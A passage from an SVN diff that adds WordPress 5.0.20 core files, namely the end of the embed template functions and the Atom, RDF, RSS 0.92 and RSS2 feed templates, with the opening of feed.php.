+			 * If you're looking at a src version of this file, you'll see an "include"
+			 * statement below. This is used by the `grunt build` process to directly
+			 * include a minified version of wp-embed-template.js, instead of using the
+			 * readfile() method from above.
+			 *
+			 * If you're looking at a build version of this file, you'll see a string of
+			 * minified JavaScript. If you need to debug it, please turn on SCRIPT_DEBUG
+			 * and edit wp-embed-template.js directly.
+			 */
+			?>
+			include "js/wp-embed-template.min.js"
+			<?php
+		}
+	?>
+	</script>
+	<?php
+}
+
+/**
+ * Prepare the oembed HTML to be displayed in an RSS feed.
+ *
+ * @since 4.4.0
+ * @access private
+ *
+ * @param string $content The content to filter.
+ * @return string The filtered content.
+ */
+function _oembed_filter_feed_content( $content ) {
+	return str_replace( '<iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);"', '<iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"', $content );
+}
+
+/**
+ * Prints the necessary markup for the embed comments button.
+ *
+ * @since 4.4.0
+ */
+function print_embed_comments_button() {
+	if ( is_404() || ! ( get_comments_number() || comments_open() ) ) {
+		return;
+	}
+	?>
+	<div class="wp-embed-comments">
+		<a href="<?php comments_link(); ?>" target="_top">
+			<span class="dashicons dashicons-admin-comments"></span>
+			<?php
+			printf(
+				_n(
+					'%s <span class="screen-reader-text">Comment</span>',
+					'%s <span class="screen-reader-text">Comments</span>',
+					get_comments_number()
+				),
+				number_format_i18n( get_comments_number() )
+			);
+			?>
+		</a>
+	</div>
+	<?php
+}
+
+/**
+ * Prints the necessary markup for the embed sharing button.
+ *
+ * @since 4.4.0
+ */
+function print_embed_sharing_button() {
+	if ( is_404() ) {
+		return;
+	}
+	?>
+	<div class="wp-embed-share">
+		<button type="button" class="wp-embed-share-dialog-open" aria-label="<?php esc_attr_e( 'Open sharing dialog' ); ?>">
+			<span class="dashicons dashicons-share"></span>
+		</button>
+	</div>
+	<?php
+}
+
+/**
+ * Prints the necessary markup for the embed sharing dialog.
+ *
+ * @since 4.4.0
+ */
+function print_embed_sharing_dialog() {
+	if ( is_404() ) {
+		return;
+	}
+	?>
+	<div class="wp-embed-share-dialog hidden" role="dialog" aria-label="<?php esc_attr_e( 'Sharing options' ); ?>">
+		<div class="wp-embed-share-dialog-content">
+			<div class="wp-embed-share-dialog-text">
+				<ul class="wp-embed-share-tabs" role="tablist">
+					<li class="wp-embed-share-tab-button wp-embed-share-tab-button-wordpress" role="presentation">
+						<button type="button" role="tab" aria-controls="wp-embed-share-tab-wordpress" aria-selected="true" tabindex="0"><?php esc_html_e( 'WordPress Embed' ); ?></button>
+					</li>
+					<li class="wp-embed-share-tab-button wp-embed-share-tab-button-html" role="presentation">
+						<button type="button" role="tab" aria-controls="wp-embed-share-tab-html" aria-selected="false" tabindex="-1"><?php esc_html_e( 'HTML Embed' ); ?></button>
+					</li>
+				</ul>
+				<div id="wp-embed-share-tab-wordpress" class="wp-embed-share-tab" role="tabpanel" aria-hidden="false">
+					<input type="text" value="<?php the_permalink(); ?>" class="wp-embed-share-input" aria-describedby="wp-embed-share-description-wordpress" tabindex="0" readonly/>
+
+					<p class="wp-embed-share-description" id="wp-embed-share-description-wordpress">
+						<?php _e( 'Copy and paste this URL into your WordPress site to embed' ); ?>
+					</p>
+				</div>
+				<div id="wp-embed-share-tab-html" class="wp-embed-share-tab" role="tabpanel" aria-hidden="true">
+					<textarea class="wp-embed-share-input" aria-describedby="wp-embed-share-description-html" tabindex="0" readonly><?php echo esc_textarea( get_post_embed_html( 600, 400 ) ); ?></textarea>
+
+					<p class="wp-embed-share-description" id="wp-embed-share-description-html">
+						<?php _e( 'Copy and paste this code into your site to embed' ); ?>
+					</p>
+				</div>
+			</div>
+
+			<button type="button" class="wp-embed-share-dialog-close" aria-label="<?php esc_attr_e( 'Close sharing dialog' ); ?>">
+				<span class="dashicons dashicons-no"></span>
+			</button>
+		</div>
+	</div>
+	<?php
+}
+
+/**
+ * Prints the necessary markup for the site title in an embed template.
+ *
+ * @since 4.5.0
+ */
+function the_embed_site_title() {
+	$site_title = sprintf(
+		'<a href="%s" target="_top"><img src="%s" srcset="%s 2x" width="32" height="32" alt="" class="wp-embed-site-icon"/><span>%s</span></a>',
+		esc_url( home_url() ),
+		esc_url( get_site_icon_url( 32, admin_url( 'images/w-logo-blue.png' ) ) ),
+		esc_url( get_site_icon_url( 64, admin_url( 'images/w-logo-blue.png' ) ) ),
+		esc_html( get_bloginfo( 'name' ) )
+	);
+
+	$site_title = '<div class="wp-embed-site-title">' . $site_title . '</div>';
+
+	/**
+	 * Filters the site title HTML in the embed footer.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $site_title The site title HTML.
+	 */
+	echo apply_filters( 'embed_site_title_html', $site_title );
+}
+
+/**
+ * Filters the oEmbed result before any HTTP requests are made.
+ *
+ * If the URL belongs to the current site, the result is fetched directly instead of
+ * going through the oEmbed discovery process.
+ *
+ * @since 4.5.3
+ *
+ * @param null|string $result The UNSANITIZED (and potentially unsafe) HTML that should be used to embed. Default null.
+ * @param string      $url    The URL that should be inspected for discovery `<link>` tags.
+ * @param array       $args   oEmbed remote get arguments.
+ * @return null|string The UNSANITIZED (and potentially unsafe) HTML that should be used to embed.
+ *                     Null if the URL does not belong to the current site.
+ */
+function wp_filter_pre_oembed_result( $result, $url, $args ) {
+	$data = get_oembed_response_data_for_url( $url, $args );
+
+	if ( $data ) {
+		return _wp_oembed_get_object()->data2html( $data, $url );
+	}
+
+	return $result;
+}
Index: /tags/5.0.20/src/wp-includes/feed-atom-comments.php
===================================================================
--- /tags/5.0.20/src/wp-includes/feed-atom-comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/feed-atom-comments.php	(revision 56912)
@@ -0,0 +1,124 @@
+<?php
+/**
+ * Atom Feed Template for displaying Atom Comments feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('atom') . '; charset=' . get_option('blog_charset'), true);
+echo '<?xml version="1.0" encoding="' . get_option('blog_charset') . '" ?' . '>';
+
+/** This action is documented in wp-includes/feed-rss2.php */
+do_action( 'rss_tag_pre', 'atom-comments' );
+?>
+<feed
+	xmlns="http://www.w3.org/2005/Atom"
+	xml:lang="<?php bloginfo_rss( 'language' ); ?>"
+	xmlns:thr="http://purl.org/syndication/thread/1.0"
+	<?php
+		/** This action is documented in wp-includes/feed-atom.php */
+		do_action( 'atom_ns' );
+
+		/**
+		 * Fires inside the feed tag in the Atom comment feed.
+		 *
+		 * @since 2.8.0
+		 */
+		do_action( 'atom_comments_ns' );
+	?>
+>
+	<title type="text"><?php
+		if ( is_singular() ) {
+			/* translators: Comments feed title. 1: Post title */
+			printf( ent2ncr( __( 'Comments on %s' ) ), get_the_title_rss() );
+		} elseif ( is_search() ) {
+			/* translators: Comments feed title. 1: Site name, 2: Search query */
+			printf( ent2ncr( __( 'Comments for %1$s searching on %2$s' ) ), get_bloginfo_rss( 'name' ), get_search_query() );
+		} else {
+			/* translators: Comments feed title. 1: Site name */
+			printf( ent2ncr( __( 'Comments for %s' ) ), get_wp_title_rss() );
+		}
+	?></title>
+	<subtitle type="text"><?php bloginfo_rss('description'); ?></subtitle>
+
+	<updated><?php
+		$date = get_lastcommentmodified( 'GMT' );
+		echo $date ? mysql2date( 'Y-m-d\TH:i:s\Z', $date, false ) : date( 'Y-m-d\TH:i:s\Z' );
+	?></updated>
+
+<?php if ( is_singular() ) { ?>
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php comments_link_feed(); ?>" />
+	<link rel="self" type="application/atom+xml" href="<?php echo esc_url( get_post_comments_feed_link('', 'atom') ); ?>" />
+	<id><?php echo esc_url( get_post_comments_feed_link('', 'atom') ); ?></id>
+<?php } elseif (is_search()) { ?>
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php echo home_url() . '?s=' . get_search_query(); ?>" />
+	<link rel="self" type="application/atom+xml" href="<?php echo get_search_comments_feed_link('', 'atom'); ?>" />
+	<id><?php echo get_search_comments_feed_link('', 'atom'); ?></id>
+<?php } else { ?>
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php bloginfo_rss('url'); ?>" />
+	<link rel="self" type="application/atom+xml" href="<?php bloginfo_rss('comments_atom_url'); ?>" />
+	<id><?php bloginfo_rss('comments_atom_url'); ?></id>
+<?php } ?>
+<?php
+	/**
+	 * Fires at the end of the Atom comment feed header.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'comments_atom_head' );
+?>
+<?php
+if ( have_comments() ) : while ( have_comments() ) : the_comment();
+	$comment_post = $GLOBALS['post'] = get_post( $comment->comment_post_ID );
+?>
+	<entry>
+		<title><?php
+			if ( !is_singular() ) {
+				$title = get_the_title($comment_post->ID);
+				/** This filter is documented in wp-includes/feed.php */
+				$title = apply_filters( 'the_title_rss', $title );
+				/* translators: Individual comment title. 1: Post title, 2: Comment author name */
+				printf(ent2ncr(__('Comment on %1$s by %2$s')), $title, get_comment_author_rss());
+			} else {
+				/* translators: Comment author title. 1: Comment author name */
+				printf(ent2ncr(__('By: %s')), get_comment_author_rss());
+			}
+		?></title>
+		<link rel="alternate" href="<?php comment_link(); ?>" type="<?php bloginfo_rss('html_type'); ?>" />
+
+		<author>
+			<name><?php comment_author_rss(); ?></name>
+			<?php if (get_comment_author_url()) echo '<uri>' . get_comment_author_url() . '</uri>'; ?>
+
+		</author>
+
+		<id><?php comment_guid(); ?></id>
+		<updated><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_comment_time('Y-m-d H:i:s', true, false), false); ?></updated>
+		<published><?php echo mysql2date('Y-m-d\TH:i:s\Z', get_comment_time('Y-m-d H:i:s', true, false), false); ?></published>
+<?php if ( post_password_required($comment_post) ) : ?>
+		<content type="html" xml:base="<?php comment_link(); ?>"><![CDATA[<?php echo get_the_password_form(); ?>]]></content>
+<?php else : // post pass ?>
+		<content type="html" xml:base="<?php comment_link(); ?>"><![CDATA[<?php comment_text(); ?>]]></content>
+<?php endif; // post pass
+	// Return comment threading information (https://www.ietf.org/rfc/rfc4685.txt)
+	if ( $comment->comment_parent == 0 ) : // This comment is top level ?>
+		<thr:in-reply-to ref="<?php the_guid(); ?>" href="<?php the_permalink_rss() ?>" type="<?php bloginfo_rss('html_type'); ?>" />
+<?php else : // This comment is in reply to another comment
+	$parent_comment = get_comment($comment->comment_parent);
+	// The rel attribute below and the id tag above should be GUIDs, but WP doesn't create them for comments (unlike posts). Either way, it's more important that they both use the same system
+?>
+		<thr:in-reply-to ref="<?php comment_guid($parent_comment) ?>" href="<?php echo get_comment_link($parent_comment) ?>" type="<?php bloginfo_rss('html_type'); ?>" />
+<?php endif;
+	/**
+	 * Fires at the end of each Atom comment feed item.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $comment_id      ID of the current comment.
+	 * @param int $comment_post_id ID of the post the current comment is connected to.
+	 */
+	do_action( 'comment_atom_entry', $comment->comment_ID, $comment_post->ID );
+?>
+	</entry>
+<?php endwhile; endif; ?>
+</feed>
Index: /tags/5.0.20/src/wp-includes/feed-atom.php
===================================================================
--- /tags/5.0.20/src/wp-includes/feed-atom.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/feed-atom.php	(revision 56912)
@@ -0,0 +1,93 @@
+<?php
+/**
+ * Atom Feed Template for displaying Atom Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('atom') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>';
+
+/** This action is documented in wp-includes/feed-rss2.php */
+do_action( 'rss_tag_pre', 'atom' );
+?>
+<feed
+  xmlns="http://www.w3.org/2005/Atom"
+  xmlns:thr="http://purl.org/syndication/thread/1.0"
+  xml:lang="<?php bloginfo_rss( 'language' ); ?>"
+  xml:base="<?php bloginfo_rss('url') ?>/wp-atom.php"
+  <?php
+  /**
+   * Fires at end of the Atom feed root to add namespaces.
+   *
+   * @since 2.0.0
+   */
+  do_action( 'atom_ns' );
+  ?>
+ >
+	<title type="text"><?php wp_title_rss(); ?></title>
+	<subtitle type="text"><?php bloginfo_rss("description") ?></subtitle>
+
+	<updated><?php
+		$date = get_lastpostmodified( 'GMT' );
+		echo $date ? mysql2date( 'Y-m-d\TH:i:s\Z', $date, false ) : date( 'Y-m-d\TH:i:s\Z' );
+	?></updated>
+
+	<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php bloginfo_rss('url') ?>" />
+	<id><?php bloginfo('atom_url'); ?></id>
+	<link rel="self" type="application/atom+xml" href="<?php self_link(); ?>" />
+
+	<?php
+	/**
+	 * Fires just before the first Atom feed entry.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'atom_head' );
+
+	while ( have_posts() ) : the_post();
+	?>
+	<entry>
+		<author>
+			<name><?php the_author() ?></name>
+			<?php $author_url = get_the_author_meta('url'); if ( !empty($author_url) ) : ?>
+			<uri><?php the_author_meta('url')?></uri>
+			<?php endif;
+
+			/**
+			 * Fires at the end of each Atom feed author entry.
+			 *
+			 * @since 3.2.0
+			 */
+			do_action( 'atom_author' );
+		?>
+		</author>
+		<title type="<?php html_type_rss(); ?>"><![CDATA[<?php the_title_rss() ?>]]></title>
+		<link rel="alternate" type="<?php bloginfo_rss('html_type'); ?>" href="<?php the_permalink_rss() ?>" />
+		<id><?php the_guid() ; ?></id>
+		<updated><?php echo get_post_modified_time('Y-m-d\TH:i:s\Z', true); ?></updated>
+		<published><?php echo get_post_time('Y-m-d\TH:i:s\Z', true); ?></published>
+		<?php the_category_rss('atom') ?>
+		<summary type="<?php html_type_rss(); ?>"><![CDATA[<?php the_excerpt_rss(); ?>]]></summary>
+<?php if ( !get_option('rss_use_excerpt') ) : ?>
+		<content type="<?php html_type_rss(); ?>" xml:base="<?php the_permalink_rss() ?>"><![CDATA[<?php the_content_feed('atom') ?>]]></content>
+<?php endif; ?>
+	<?php atom_enclosure();
+	/**
+	 * Fires at the end of each Atom feed item.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'atom_entry' );
+
+	if ( get_comments_number() || comments_open() ) :
+		?>
+		<link rel="replies" type="<?php bloginfo_rss('html_type'); ?>" href="<?php the_permalink_rss() ?>#comments" thr:count="<?php echo get_comments_number()?>"/>
+		<link rel="replies" type="application/atom+xml" href="<?php echo esc_url( get_post_comments_feed_link(0, 'atom') ); ?>" thr:count="<?php echo get_comments_number()?>"/>
+		<thr:total><?php echo get_comments_number()?></thr:total>
+	<?php endif; ?>
+	</entry>
+	<?php endwhile ; ?>
+</feed>
Index: /tags/5.0.20/src/wp-includes/feed-rdf.php
===================================================================
--- /tags/5.0.20/src/wp-includes/feed-rdf.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/feed-rdf.php	(revision 56912)
@@ -0,0 +1,88 @@
+<?php
+/**
+ * RSS 1 RDF Feed Template for displaying RSS 1 Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rdf') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>';
+
+/** This action is documented in wp-includes/feed-rss2.php */
+do_action( 'rss_tag_pre', 'rdf' );
+?>
+<rdf:RDF
+	xmlns="http://purl.org/rss/1.0/"
+	xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+	xmlns:admin="http://webns.net/mvcb/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	<?php
+	/**
+	 * Fires at the end of the feed root to add namespaces.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rdf_ns' );
+	?>
+>
+<channel rdf:about="<?php bloginfo_rss("url") ?>">
+	<title><?php wp_title_rss(); ?></title>
+	<link><?php bloginfo_rss('url') ?></link>
+	<description><?php bloginfo_rss('description') ?></description>
+	<dc:date><?php
+		$date = get_lastpostmodified( 'GMT' );
+		echo $date ? mysql2date( 'Y-m-d\TH:i:s\Z', $date ) : date( 'Y-m-d\TH:i:s\Z' );
+	?></dc:date>
+	<sy:updatePeriod><?php
+		/** This filter is documented in wp-includes/feed-rss2.php */
+		echo apply_filters( 'rss_update_period', 'hourly' );
+	?></sy:updatePeriod>
+	<sy:updateFrequency><?php
+		/** This filter is documented in wp-includes/feed-rss2.php */
+		echo apply_filters( 'rss_update_frequency', '1' );
+	?></sy:updateFrequency>
+	<sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>
+	<?php
+	/**
+	 * Fires at the end of the RDF feed header.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rdf_header' );
+	?>
+	<items>
+		<rdf:Seq>
+		<?php while (have_posts()): the_post(); ?>
+			<rdf:li rdf:resource="<?php the_permalink_rss() ?>"/>
+		<?php endwhile; ?>
+		</rdf:Seq>
+	</items>
+</channel>
+<?php rewind_posts(); while (have_posts()): the_post(); ?>
+<item rdf:about="<?php the_permalink_rss() ?>">
+	<title><?php the_title_rss() ?></title>
+	<link><?php the_permalink_rss() ?></link>
+	<dc:date><?php echo mysql2date('Y-m-d\TH:i:s\Z', $post->post_date_gmt, false); ?></dc:date>
+	<dc:creator><![CDATA[<?php the_author() ?>]]></dc:creator>
+	<?php the_category_rss('rdf') ?>
+<?php if (get_option('rss_use_excerpt')) : ?>
+	<description><![CDATA[<?php the_excerpt_rss() ?>]]></description>
+<?php else : ?>
+	<description><![CDATA[<?php the_excerpt_rss() ?>]]></description>
+	<content:encoded><![CDATA[<?php the_content_feed('rdf') ?>]]></content:encoded>
+<?php endif; ?>
+	<?php
+	/**
+	 * Fires at the end of each RDF feed item.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rdf_item' );
+	?>
+</item>
+<?php endwhile;  ?>
+</rdf:RDF>
Index: /tags/5.0.20/src/wp-includes/feed-rss.php
===================================================================
--- /tags/5.0.20/src/wp-includes/feed-rss.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/feed-rss.php	(revision 56912)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * RSS 0.92 Feed Template for displaying RSS 0.92 Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rss') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
+<rss version="0.92">
+<channel>
+	<title><?php wp_title_rss(); ?></title>
+	<link><?php bloginfo_rss('url') ?></link>
+	<description><?php bloginfo_rss('description') ?></description>
+	<lastBuildDate><?php
+		$date = get_lastpostmodified( 'GMT' );
+		echo $date ? mysql2date( 'D, d M Y H:i:s +0000', $date ) : date( 'D, d M Y H:i:s +0000' );
+	?></lastBuildDate>
+	<docs>http://backend.userland.com/rss092</docs>
+	<language><?php bloginfo_rss( 'language' ); ?></language>
+
+	<?php
+	/**
+	 * Fires at the end of the RSS Feed Header.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rss_head' );
+	?>
+
+<?php while (have_posts()) : the_post(); ?>
+	<item>
+		<title><?php the_title_rss() ?></title>
+		<description><![CDATA[<?php the_excerpt_rss() ?>]]></description>
+		<link><?php the_permalink_rss() ?></link>
+		<?php
+		/**
+		 * Fires at the end of each RSS feed item.
+		 *
+		 * @since 2.0.0
+		 */
+		do_action( 'rss_item' );
+		?>
+	</item>
+<?php endwhile; ?>
+</channel>
+</rss>
Index: /tags/5.0.20/src/wp-includes/feed-rss2-comments.php
===================================================================
--- /tags/5.0.20/src/wp-includes/feed-rss2-comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/feed-rss2-comments.php	(revision 56912)
@@ -0,0 +1,110 @@
+<?php
+/**
+ * RSS2 Feed Template for displaying RSS2 Comments feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rss2') . '; charset=' . get_option('blog_charset'), true);
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>';
+
+/** This action is documented in wp-includes/feed-rss2.php */
+do_action( 'rss_tag_pre', 'rss2-comments' );
+?>
+<rss version="2.0"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:atom="http://www.w3.org/2005/Atom"
+	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+	<?php
+	/** This action is documented in wp-includes/feed-rss2.php */
+	do_action( 'rss2_ns' );
+	?>
+
+	<?php
+	/**
+	 * Fires at the end of the RSS root to add namespaces.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'rss2_comments_ns' );
+	?>
+>
+<channel>
+	<title><?php
+		if ( is_singular() ) {
+			/* translators: Comments feed title. 1: Post title */
+			printf( ent2ncr( __( 'Comments on: %s' ) ), get_the_title_rss() );
+		} elseif ( is_search() ) {
+			/* translators: Comments feed title. 1: Site name, 2: Search query */
+			printf( ent2ncr( __( 'Comments for %1$s searching on %2$s' ) ), get_bloginfo_rss( 'name' ), get_search_query() );
+		} else {
+			/* translators: Comments feed title. 1: Site name */
+			printf( ent2ncr( __( 'Comments for %s' ) ), get_wp_title_rss() );
+		}
+	?></title>
+	<atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" />
+	<link><?php (is_single()) ? the_permalink_rss() : bloginfo_rss("url") ?></link>
+	<description><?php bloginfo_rss("description") ?></description>
+	<lastBuildDate><?php
+		$date = get_lastcommentmodified( 'GMT' );
+		echo $date ? mysql2date( 'r', $date, false ) : date( 'r' );
+	?></lastBuildDate>
+	<sy:updatePeriod><?php
+		/** This filter is documented in wp-includes/feed-rss2.php */
+		echo apply_filters( 'rss_update_period', 'hourly' );
+	?></sy:updatePeriod>
+	<sy:updateFrequency><?php
+		/** This filter is documented in wp-includes/feed-rss2.php */
+		echo apply_filters( 'rss_update_frequency', '1' );
+	?></sy:updateFrequency>
+	<?php
+	/**
+	 * Fires at the end of the RSS2 comment feed header.
+	 *
+	 * @since 2.3.0
+	 */
+	do_action( 'commentsrss2_head' );
+
+	if ( have_comments() ) : while ( have_comments() ) : the_comment();
+		$comment_post = $GLOBALS['post'] = get_post( $comment->comment_post_ID );
+	?>
+	<item>
+		<title><?php
+			if ( !is_singular() ) {
+				$title = get_the_title($comment_post->ID);
+				/** This filter is documented in wp-includes/feed.php */
+				$title = apply_filters( 'the_title_rss', $title );
+				/* translators: Individual comment title. 1: Post title, 2: Comment author name */
+				printf(ent2ncr(__('Comment on %1$s by %2$s')), $title, get_comment_author_rss());
+			} else {
+				/* translators: Comment author title. 1: Comment author name */
+				printf(ent2ncr(__('By: %s')), get_comment_author_rss());
+			}
+		?></title>
+		<link><?php comment_link() ?></link>
+		<dc:creator><![CDATA[<?php echo get_comment_author_rss() ?>]]></dc:creator>
+		<pubDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_comment_time('Y-m-d H:i:s', true, false), false); ?></pubDate>
+		<guid isPermaLink="false"><?php comment_guid() ?></guid>
+<?php if ( post_password_required($comment_post) ) : ?>
+		<description><?php echo ent2ncr(__('Protected Comments: Please enter your password to view comments.')); ?></description>
+		<content:encoded><![CDATA[<?php echo get_the_password_form() ?>]]></content:encoded>
+<?php else : // post pass ?>
+		<description><![CDATA[<?php comment_text_rss() ?>]]></description>
+		<content:encoded><![CDATA[<?php comment_text() ?>]]></content:encoded>
+<?php endif; // post pass
+	/**
+	 * Fires at the end of each RSS2 comment feed item.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param int $comment->comment_ID The ID of the comment being displayed.
+	 * @param int $comment_post->ID    The ID of the post the comment is connected to.
+	 */
+	do_action( 'commentrss2_item', $comment->comment_ID, $comment_post->ID );
+?>
+	</item>
+<?php endwhile; endif; ?>
+</channel>
+</rss>
Index: /tags/5.0.20/src/wp-includes/feed-rss2.php
===================================================================
--- /tags/5.0.20/src/wp-includes/feed-rss2.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/feed-rss2.php	(revision 56912)
@@ -0,0 +1,124 @@
+<?php
+/**
+ * RSS2 Feed Template for displaying RSS2 Posts feed.
+ *
+ * @package WordPress
+ */
+
+header('Content-Type: ' . feed_content_type('rss2') . '; charset=' . get_option('blog_charset'), true);
+$more = 1;
+
+echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>';
+
+/**
+ * Fires between the xml and rss tags in a feed.
+ *
+ * @since 4.0.0
+ *
+ * @param string $context Type of feed. Possible values include 'rss2', 'rss2-comments',
+ *                        'rdf', 'atom', and 'atom-comments'.
+ */
+do_action( 'rss_tag_pre', 'rss2' );
+?>
+<rss version="2.0"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:atom="http://www.w3.org/2005/Atom"
+	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
+	<?php
+	/**
+	 * Fires at the end of the RSS root to add namespaces.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rss2_ns' );
+	?>
+>
+
+<channel>
+	<title><?php wp_title_rss(); ?></title>
+	<atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" />
+	<link><?php bloginfo_rss('url') ?></link>
+	<description><?php bloginfo_rss("description") ?></description>
+	<lastBuildDate><?php
+		$date = get_lastpostmodified( 'GMT' );
+		echo $date ? mysql2date( 'r', $date, false ) : date( 'r' );
+	?></lastBuildDate>
+	<language><?php bloginfo_rss( 'language' ); ?></language>
+	<sy:updatePeriod><?php
+		$duration = 'hourly';
+
+		/**
+		 * Filters how often to update the RSS feed.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $duration The update period. Accepts 'hourly', 'daily', 'weekly', 'monthly',
+		 *                         'yearly'. Default 'hourly'.
+		 */
+		echo apply_filters( 'rss_update_period', $duration );
+	?></sy:updatePeriod>
+	<sy:updateFrequency><?php
+		$frequency = '1';
+
+		/**
+		 * Filters the RSS update frequency.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param string $frequency An integer passed as a string representing the frequency
+		 *                          of RSS updates within the update period. Default '1'.
+		 */
+		echo apply_filters( 'rss_update_frequency', $frequency );
+	?></sy:updateFrequency>
+	<?php
+	/**
+	 * Fires at the end of the RSS2 Feed Header.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rss2_head');
+
+	while( have_posts()) : the_post();
+	?>
+	<item>
+		<title><?php the_title_rss() ?></title>
+		<link><?php the_permalink_rss() ?></link>
+<?php if ( get_comments_number() || comments_open() ) : ?>
+		<comments><?php comments_link_feed(); ?></comments>
+<?php endif; ?>
+		<pubDate><?php echo mysql2date('D, d M Y H:i:s +0000', get_post_time('Y-m-d H:i:s', true), false); ?></pubDate>
+		<dc:creator><![CDATA[<?php the_author() ?>]]></dc:creator>
+		<?php the_category_rss('rss2') ?>
+
+		<guid isPermaLink="false"><?php the_guid(); ?></guid>
+<?php if (get_option('rss_use_excerpt')) : ?>
+		<description><![CDATA[<?php the_excerpt_rss(); ?>]]></description>
+<?php else : ?>
+		<description><![CDATA[<?php the_excerpt_rss(); ?>]]></description>
+	<?php $content = get_the_content_feed('rss2'); ?>
+	<?php if ( strlen( $content ) > 0 ) : ?>
+		<content:encoded><![CDATA[<?php echo $content; ?>]]></content:encoded>
+	<?php else : ?>
+		<content:encoded><![CDATA[<?php the_excerpt_rss(); ?>]]></content:encoded>
+	<?php endif; ?>
+<?php endif; ?>
+<?php if ( get_comments_number() || comments_open() ) : ?>
+		<wfw:commentRss><?php echo esc_url( get_post_comments_feed_link(null, 'rss2') ); ?></wfw:commentRss>
+		<slash:comments><?php echo get_comments_number(); ?></slash:comments>
+<?php endif; ?>
+<?php rss_enclosure(); ?>
+	<?php
+	/**
+	 * Fires at the end of each RSS2 feed item.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'rss2_item' );
+	?>
+	</item>
+	<?php endwhile; ?>
+</channel>
+</rss>
Index: /tags/5.0.20/src/wp-includes/feed.php
===================================================================
--- /tags/5.0.20/src/wp-includes/feed.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/feed.php	(revision 56912)
@@ -0,0 +1,710 @@
+<?php
+/**
+ * WordPress Feed API
+ *
+ * Many of the functions used in here belong in The Loop, or The Loop for the
+ * Feeds.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.1.0
+ */
+
+/**
+ * RSS container for the bloginfo function.
+ *
+ * You can retrieve anything that you can using the get_bloginfo() function.
+ * Everything will be stripped of tags and characters converted, when the values
+ * are retrieved for use in the feeds.
+ *
+ * @since 1.5.1
+ * @see get_bloginfo() For the list of possible values to display.
+ *
+ * @param string $show See get_bloginfo() for possible values.
+ * @return string
+ */
+function get_bloginfo_rss($show = '') {
+	$info = strip_tags(get_bloginfo($show));
+	/**
+	 * Filters the bloginfo for use in RSS feeds.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @see convert_chars()
+	 * @see get_bloginfo()
+	 *
+	 * @param string $info Converted string value of the blog information.
+	 * @param string $show The type of blog information to retrieve.
+	 */
+	return apply_filters( 'get_bloginfo_rss', convert_chars( $info ), $show );
+}
+
+/**
+ * Display RSS container for the bloginfo function.
+ *
+ * You can retrieve anything that you can using the get_bloginfo() function.
+ * Everything will be stripped of tags and characters converted, when the values
+ * are retrieved for use in the feeds.
+ *
+ * @since 0.71
+ * @see get_bloginfo() For the list of possible values to display.
+ *
+ * @param string $show See get_bloginfo() for possible values.
+ */
